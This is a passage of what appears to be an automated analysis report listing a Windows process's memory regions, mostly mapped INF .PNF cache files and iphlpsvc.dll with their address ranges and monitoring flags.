"basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 8280 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8298 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8332 start_va = 0x196ee9e0000 end_va = 0x196ee9fbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 8333 start_va = 0x196ee9e0000 end_va = 0x196ee9fbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 8372 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8396 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8416 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 8441 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 8449 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8455 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8461 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8462 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8483 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8499 start_va = 0x196ee9e0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8532 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 8549 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 8579 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 8580 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 8605 start_va = 0x196ee9e0000 end_va = 0x196ee9e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 8625 start_va = 0x196ee9e0000 end_va = 0x196ee9e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 8643 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8650 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8663 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8670 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8682 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = "\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 8700 start_va = 0x196ee9f0000 end_va = 0x196eea07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 8706 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8707 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8717 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 8721 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 8724 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 8734 start_va = 0x196ee9f0000 end_va = 0x196eea06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8735 start_va = 0x196ee9f0000 end_va = 0x196eea06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8744 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 8750 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8751 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8831 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9f0000" filename = "" Region: id = 9151 start_va = 0x196eea00000 end_va = 0x196eea07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eea00000" filename = "" Region: id = 9152 start_va = 0x196ef5b0000 end_va = 0x196ef5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 9153 start_va = 0x196ee9e0000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 9154 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9155 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9156 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9e0000" filename = "" Region: id = 9157 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9159 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9160 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9161 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9162 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9163 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9164 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 9165 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 9166 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9167 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9168 start_va = 0x196ee9f0000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 9180 start_va = 0x196ee9f0000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 9181 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 9182 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 9183 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9184 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9185 start_va = 0x196ef5b0000 end_va = 0x196ef699fff monitored = 0 entry_point = 0x196ef5d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 9186 start_va = 0x196ee9f0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 9187 start_va = 0x196ee9f0000 end_va = 0x196eea12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 9188 start_va = 0x196ee9f0000 end_va = 0x196eea12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 9189 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9190 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9191 start_va = 0x196ee9f0000 end_va = 0x196ee9f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 9192 start_va = 0x196ee9f0000 end_va = 0x196ee9f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 9193 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9201 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9202 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9210 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9212 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9216 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9224 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 9228 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 9232 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\INF\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 9237 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\INF\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 9241 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9243 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9245 start_va = 0x196ee9f0000 end_va = 0x196ee9f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 9252 start_va = 0x196ee9f0000 end_va = 0x196ee9f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 9259 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 9264 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 9270 start_va = 0x196ef5b0000 end_va = 0x196ef6c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 9274 start_va = 0x196ef5b0000 end_va = 0x196ef6c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 9285 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9286 start_va = 0x196ee9f0000 end_va = 0x196eea18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 9290 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 9294 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 9298 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 9304 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 9310 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 9311 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 9320 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 9321 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 9330 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9331 start_va = 0x196ee9f0000 end_va = 0x196eea06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 9333 start_va = 0x196ee9f0000 end_va = 0x196eea06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 9336 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 9337 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 9346 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9347 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 9357 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 9358 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 9363 start_va = 0x196ee9f0000 end_va = 0x196ee9f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 9364 start_va = 0x196ee9f0000 end_va = 0x196ee9f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 9365 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9367 start_va = 0x196ee9f0000 end_va = 0x196eea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 9373 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 9379 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 9387 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 9401 start_va = 0x196ee9f0000 end_va = 0x196ee9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 9402 start_va = 0x196ee9f0000 end_va = 0x196ee9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 9406 start_va = 0x196ee9f0000 end_va = 0x196ee9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 9412 start_va = 0x196ee9f0000 end_va = 0x196ee9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 9417 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 9418 start_va = 0x196ee9f0000 end_va = 0x196ee9f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 9419 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 9422 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 9423 start_va = 0x196ee9f0000 end_va = 0x196eea10fff 